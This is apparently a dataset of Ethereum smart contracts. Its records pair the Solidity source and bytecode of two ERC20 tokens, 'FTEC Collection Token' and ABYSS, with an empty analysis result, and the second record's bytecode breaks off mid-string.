pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract DetailedERC20 is MintableToken { string public constant name = "FTEC Collection Token"; string public constant symbol = "FTEC.IO"; uint8 public constant decimals = 18 ; }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610687565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b610213610779565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610783565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b3d565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b42565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d28565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fb9565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611001565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b6104126110c9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b6104676110ef565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611128565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611347565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611543565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ca565b005b600360149054906101000a900460ff1681565b6040805190810160405280601581526020017f4654454320436f6c6c656374696f6e20546f6b656e000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080d57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089857600080fd5b6108e9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a4d82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba057600080fd5b600360149054906101000a900460ff16151515610bbc57600080fd5b610bd18260015461173b90919063ffffffff16565b600181905550610c28826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e39576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ecd565b610e4c838261172290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561105f57600080fd5b600360149054906101000a900460ff1615151561107b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600781526020017f465445432e494f0000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561116557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111b257600080fd5b611203826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611296826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006113d882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561166257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561173057fe5b818303905092915050565b6000818301905082811015151561174e57fe5b809050929150505600a165627a7a72305820aefe5e60040d42a80661b47dc004b858e7b5859ce376723b2e4ad81f891394470029
{"success": true, "error": null, "results": {}}
9,539
0x0e8d6b471e332f140e7d9dbb99e5e3822f728da6
pragma solidity ^0.4.21; // File: contracts/ownership/MultiOwnable.sol /** * @title MultiOwnable * @dev The MultiOwnable contract has owners addresses and provides basic authorization control * functions, this simplifies the implementation of "users permissions". */ contract MultiOwnable { address public manager; // address used to set owners address[] public owners; mapping(address => bool) public ownerByAddress; event SetOwners(address[] owners); modifier onlyOwner() { require(ownerByAddress[msg.sender] == true); _; } /** * @dev MultiOwnable constructor sets the manager */ function MultiOwnable() public { manager = msg.sender; } /** * @dev Function to set owners addresses */ function setOwners(address[] _owners) public { require(msg.sender == manager); _setOwners(_owners); } function _setOwners(address[] _owners) internal { for(uint256 i = 0; i < owners.length; i++) { ownerByAddress[owners[i]] = false; } for(uint256 j = 0; j < _owners.length; j++) { ownerByAddress[_owners[j]] = true; } owners = _owners; SetOwners(_owners); } function getOwners() public constant returns (address[]) { return owners; } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { /** * @dev constructor */ function SafeMath() public { } function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/token/IERC20Token.sol /** * @title IERC20Token - ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract IERC20Token { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // File: contracts/token/ERC20Token.sol /** * @title ERC20Token - ERC20 base implementation * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Token is IERC20Token, SafeMath { mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256) { return allowed[_owner][_spender]; } } // File: contracts/token/ITokenEventListener.sol /** * @title ITokenEventListener * @dev Interface which should be implemented by token listener */ interface ITokenEventListener { /** * @dev Function is called after token transfer/transferFrom * @param _from Sender address * @param _to Receiver address * @param _value Amount of tokens */ function onTokenTransfer(address _from, address _to, uint256 _value) external; } // File: contracts/token/ManagedToken.sol /** * @title ManagedToken * @dev ERC20 compatible token with issue and destroy facilities * @dev All transfers can be monitored by token event listener */ contract ManagedToken is ERC20Token, MultiOwnable { bool public allowTransfers = false; bool public issuanceFinished = false; ITokenEventListener public eventListener; event AllowTransfersChanged(bool _newState); event Issue(address indexed _to, uint256 _value); event Destroy(address indexed _from, uint256 _value); event IssuanceFinished(); modifier transfersAllowed() { require(allowTransfers); _; } modifier canIssue() { require(!issuanceFinished); _; } /** * @dev ManagedToken constructor * @param _listener Token listener(address can be 0x0) * @param _owners Owners list */ function ManagedToken(address _listener, address[] _owners) public { if(_listener != address(0)) { eventListener = ITokenEventListener(_listener); } _setOwners(_owners); } /** * @dev Enable/disable token transfers. Can be called only by owners * @param _allowTransfers True - allow False - disable */ function setAllowTransfers(bool _allowTransfers) external onlyOwner { allowTransfers = _allowTransfers; AllowTransfersChanged(_allowTransfers); } /** * @dev Set/remove token event listener * @param _listener Listener address (Contract must implement ITokenEventListener interface) */ function setListener(address _listener) public onlyOwner { if(_listener != address(0)) { eventListener = ITokenEventListener(_listener); } else { delete eventListener; } } function transfer(address _to, uint256 _value) public transfersAllowed returns (bool) { bool success = super.transfer(_to, _value); if(hasListener() && success) { eventListener.onTokenTransfer(msg.sender, _to, _value); } return success; } function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool) { bool success = super.transferFrom(_from, _to, _value); if(hasListener() && success) { eventListener.onTokenTransfer(_from, _to, _value); } return success; } function hasListener() internal view returns(bool) { if(eventListener == address(0)) { return false; } return true; } /** * @dev Issue tokens to specified wallet * @param _to Wallet address * @param _value Amount of tokens */ function issue(address _to, uint256 _value) external onlyOwner canIssue { totalSupply = safeAdd(totalSupply, _value); balances[_to] = safeAdd(balances[_to], _value); Issue(_to, _value); Transfer(address(0), _to, _value); } /** * @dev Destroy tokens on specified address (Called by owner or token holder) * @dev Fund contract address must be in the list of owners to burn token during refund * @param _from Wallet address * @param _value Amount of tokens to destroy */ function destroy(address _from, uint256 _value) external { require(ownerByAddress[msg.sender] || msg.sender == _from); require(balances[_from] >= _value); totalSupply = safeSub(totalSupply, _value); balances[_from] = safeSub(balances[_from], _value); Transfer(_from, address(0), _value); Destroy(_from, _value); } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From OpenZeppelin StandardToken.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = safeAdd(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From OpenZeppelin StandardToken.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = safeSub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Finish token issuance * @return True if success */ function finishIssuance() public onlyOwner returns (bool) { issuanceFinished = true; IssuanceFinished(); return true; } } // File: contracts/token/TransferLimitedToken.sol /** * @title TransferLimitedToken * @dev Token with ability to limit transfers within wallets included in limitedWallets list for certain period of time */ contract TransferLimitedToken is ManagedToken { uint256 public constant LIMIT_TRANSFERS_PERIOD = 365 days; mapping(address => bool) public limitedWallets; uint256 public limitEndDate; address public limitedWalletsManager; bool public isLimitEnabled; event TransfersEnabled(); modifier onlyManager() { require(msg.sender == limitedWalletsManager); _; } /** * @dev Check if transfer between addresses is available * @param _from From address * @param _to To address */ modifier canTransfer(address _from, address _to) { require(now >= limitEndDate || !isLimitEnabled || (!limitedWallets[_from] && !limitedWallets[_to])); _; } /** * @dev TransferLimitedToken constructor * @param _limitStartDate Limit start date * @param _listener Token listener(address can be 0x0) * @param _owners Owners list * @param _limitedWalletsManager Address used to add/del wallets from limitedWallets */ function TransferLimitedToken( uint256 _limitStartDate, address _listener, address[] _owners, address _limitedWalletsManager ) public ManagedToken(_listener, _owners) { limitEndDate = _limitStartDate + LIMIT_TRANSFERS_PERIOD; isLimitEnabled = true; limitedWalletsManager = _limitedWalletsManager; } /** * @dev Enable token transfers */ function enableTransfers() public { require(msg.sender == limitedWalletsManager); allowTransfers = true; TransfersEnabled(); } /** * @dev Add address to limitedWallets * @dev Can be called only by manager */ function addLimitedWalletAddress(address _wallet) public { require(msg.sender == limitedWalletsManager || ownerByAddress[msg.sender]); limitedWallets[_wallet] = true; } /** * @dev Del address from limitedWallets * @dev Can be called only by manager */ function delLimitedWalletAddress(address _wallet) public onlyManager { limitedWallets[_wallet] = false; } /** * @dev Disable transfer limit manually. Can be called only by manager */ function disableLimit() public onlyManager { isLimitEnabled = false; } function transfer(address _to, uint256 _value) public canTransfer(msg.sender, _to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public canTransfer(_from, _to) returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public canTransfer(msg.sender, _spender) returns (bool) { return super.approve(_spender,_value); } } // File: contracts/AbyssToken.sol contract ABYSS is TransferLimitedToken { uint256 public constant SALE_END_TIME = 1526479200; // 16.05.2018 14:00:00 UTC function ABYSS(address _listener, address[] _owners, address manager) public TransferLimitedToken(SALE_END_TIME, _listener, _owners, manager) { name = "ABYSS"; symbol = "ABYSS"; decimals = 18; } }
0x6060604052600436106101a85763ffffffff60e060020a600035041663025e7c2781146101ad57806306fdde03146101df578063095ea7b31461026957806318160ddd1461029f5780631acc26bc146102c457806320a0045a146102d95780632185810b146102ec57806323b872dd146102ff57806327e235e3146103275780632e21740514610346578063313ce5671461036557806344e7faa41461038e5780634662299a146103a1578063481c6a75146103b45780635c658165146103c757806366188463146103ec57806367f046881461040e57806370a08231146104215780637d80265514610440578063867904b41461045f5780638d0899301461048157806395d89b4114610494578063a0e67e2b146104a7578063a24835d11461050d578063a9059cbb1461052f578063adcd905b14610551578063af35c6c714610570578063c422293b14610583578063cd9217f714610596578063d73dd623146105a9578063daf4f66e146105cb578063dd62ed3e146105de578063df50afa414610603578063eb6b192f1461061b578063ee8cbc9d1461063a578063fa4d369814610659575b600080fd5b34156101b857600080fd5b6101c36004356106a8565b604051600160a060020a03909116815260200160405180910390f35b34156101ea57600080fd5b6101f26106d0565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561022e578082015183820152602001610216565b50505050905090810190601f16801561025b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561027457600080fd5b61028b600160a060020a036004351660243561076e565b604051901515815260200160405180910390f35b34156102aa57600080fd5b6102b2610804565b60405190815260200160405180910390f35b34156102cf57600080fd5b6102d761080a565b005b34156102e457600080fd5b6102b2610845565b34156102f757600080fd5b61028b61084d565b341561030a57600080fd5b61028b600160a060020a0360043581169060243516604435610856565b341561033257600080fd5b6102b2600160a060020a03600435166108ee565b341561035157600080fd5b61028b600160a060020a0360043516610900565b341561037057600080fd5b610378610915565b60405160ff909116815260200160405180910390f35b341561039957600080fd5b6101c361091e565b34156103ac57600080fd5b61028b61092d565b34156103bf57600080fd5b6101c361093b565b34156103d257600080fd5b6102b2600160a060020a036004358116906024351661094a565b34156103f757600080fd5b61028b600160a060020a0360043516602435610967565b341561041957600080fd5b6102b2610a5b565b341561042c57600080fd5b6102b2600160a060020a0360043516610a63565b341561044b57600080fd5b6102d7600160a060020a0360043516610a7e565b341561046a57600080fd5b6102d7600160a060020a0360043516602435610aba565b341561048c57600080fd5b6102b2610bae565b341561049f57600080fd5b6101f2610bb4565b34156104b257600080fd5b6104ba610c1f565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156104f95780820151838201526020016104e1565b505050509050019250505060405180910390f35b341561051857600080fd5b6102d7600160a060020a0360043516602435610c88565b341561053a57600080fd5b61028b600160a060020a0360043516602435610da3565b341561055c57600080fd5b6102d7600160a060020a0360043516610e30565b341561057b57600080fd5b6102d7610ec0565b341561058e57600080fd5b61028b610f16565b34156105a157600080fd5b6101c3610f81565b34156105b457600080fd5b61028b600160a060020a0360043516602435610f96565b34156105d657600080fd5b61028b611034565b34156105e957600080fd5b6102b2600160a060020a0360043581169060243516611055565b341561060e57600080fd5b6102d76004351515611080565b341561062657600080fd5b61028b600160a060020a03600435166110f0565b341561064557600080fd5b6102d7600160a060020a03600435